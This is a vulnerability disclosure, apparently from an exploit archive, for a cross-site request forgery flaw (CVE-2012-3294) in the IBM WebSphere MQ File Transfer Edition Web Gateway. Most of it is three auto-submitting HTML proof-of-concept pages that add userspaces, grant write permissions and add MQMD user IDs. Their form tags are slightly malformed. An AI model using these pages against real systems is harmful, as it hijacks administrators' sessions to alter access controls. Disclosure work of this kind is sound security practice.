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IBM WebSphere MQ File Transfer Edition Web Gateway CSRF

IBM WebSphere MQ File Transfer Edition Web Gateway CSRF
Posted Aug 13, 2012
Authored by Nir Valtman

IBM WebSphere MQ File Transfer Edition Web Gateway suffers from a cross site request forgery vulnerability.

tags | exploit, web, csrf
advisories | CVE-2012-3294
MD5 | 00eb8d50107aa9470e32b9e750dd32b2

IBM WebSphere MQ File Transfer Edition Web Gateway CSRF

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*Exploit Author:* Nir Valtman

*Description:* Malicious user is able to add userspace, change permissions
on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of
the these vulnerabilities can be exploited using a CSRF (Cross Site Request
Forgery) attack.
Few days ago the CVE has
been published here<http://www-01.ibm.com/support/docview.wss?uid=swg21607482>

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*Affected Platforms: *Version 7.0.4 and all previous versions of WebSphere MQ
File Transfer Edition<http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp>running
on all platforms are affected.
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*Exploit Details:*
*1. CSRF To add user and define his quota on a userspace*
I created the following HTML page and then opened it by a logged-on user:

<html>

<head></head>

<body>

<form id="frm" method="post"
action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces"

<input type="hidden"
name="nirvcsrf" value="junk" />

<input type="hidden"
name="name" value="zzzzzz" />

<input type="hidden"
name="quota" value="15" />

<input type="hidden"
name="id" value="NewFileSpace" />



</form>

<script>

document.frm.submit();

</script>

</body>
</html>
See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 1]

*2. CSRF to add permissions on file spaces:*
I created the following HTML page and then opened it by a logged-on user:

<html>

<head></head>

<body>

<form id="frm" method="post"
action="https://*[ip-address-and-port]*
/wmqfteconsole/FileSpacePermisssions"

<input type="hidden"
name="nirvcsrf" value="junk" />

<input type="hidden"
name="user" value="bodek2" />

<input type="hidden"
name="write" value="authorized" />

<input type="hidden"
name="id" value="zzzzzz_TEMP_PERMISSIONS" />



</form>

<script>

document.frm.submit();

</script>

</body>
</html>

See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 2]

*2. CSRF to add MQMD user id:*
I created the following HTML page and then opened it by a logged-on user:

<html>

<head></head>

<body>

<form id="frm" method="post"
action="https://*[ip-address-and-port]*/wmqfteconsole/UploadUsers"

<input type="hidden"
name="nirvcsrf" value="junk" />

<input type="hidden"
name="userID" value="csrfUserId" />

<input type="hidden"
name="mqmdUserID" value="userIdTest" />

<input type="hidden"
name="id" value="NewUploadUser" />



</form>

<script>

document.frm.submit();

</script>

</body>

</html>

See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 3]

Best Regards,
Nir Valtman

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